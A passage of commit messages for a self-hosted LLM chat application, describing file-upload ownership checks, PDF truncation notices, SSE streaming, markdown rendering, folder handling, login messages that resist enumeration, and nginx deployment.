unclaimed rows owned by the sender, so a forged id cannot pull in someone else's file. Abandoned uploads are swept at startup. - A scanned PDF says so rather than silently contributing nothing, and truncation is declared to the model in the document tag so it can admit it did not see page 400. - "Here, look at this" with no words is a legitimate turn, so a message is only empty when it carries neither text nor files. Also fixes auto-titling, which read message["content"] as a string and would have broken on the first multimodal turn. 186 tests, ruff clean.

Working chat: auth, connections, streaming, folders
LLeMbas now runs end to end. Register, add an OpenAI-compatible connection, and hold a real streaming conversation organised into folders. Verified against the local llama-swap instance. Streaming is the one genuinely tricky part. Sending a message returns two HTML fragments -- the user bubble and an empty assistant bubble carrying an sse-connect -- and that attribute is the ONLY thing that starts a generation. Rendering an incomplete assistant message as a streaming shell falls out of the same template, which means loading a page whose last reply never finished simply picks it up again. Details worth knowing about, each commented where it matters: - SSE payloads are split across several data: lines. A raw newline in one data: line truncates the event, which shows up the first time a model emits a code block. - Markdown is rendered server-side by the same helper for both the page and the final streamed frame, so the two cannot disagree. The fence renderer is replaced outright rather than using markdown-it's highlight option, which re-wraps output in a second <pre>. - escape_text is html.escape, not nh3.clean_text: it escapes character by character, so escaping stream chunks separately equals escaping the whole string. - The stream opens its own session via session_scope(); it outlives the request handler and the dependency-scoped session may be closed. - Deleting a folder keeps the chats inside it (FK is SET NULL). Losing a conversation to a mis-clicked folder delete is unforgivable. - Login failures use one message for "no such account" and "wrong password" so the form cannot enumerate registered addresses. Also adds deploy/ for the gamebox install at https://chat.lan: system unit, nginx vhost with buffering off (buffering on turns streaming into one lump at the end), and install/update scripts following the same service-user and /srv bind-mount conventions as llama-swap and comfyui. 70 tests, ruff clean.
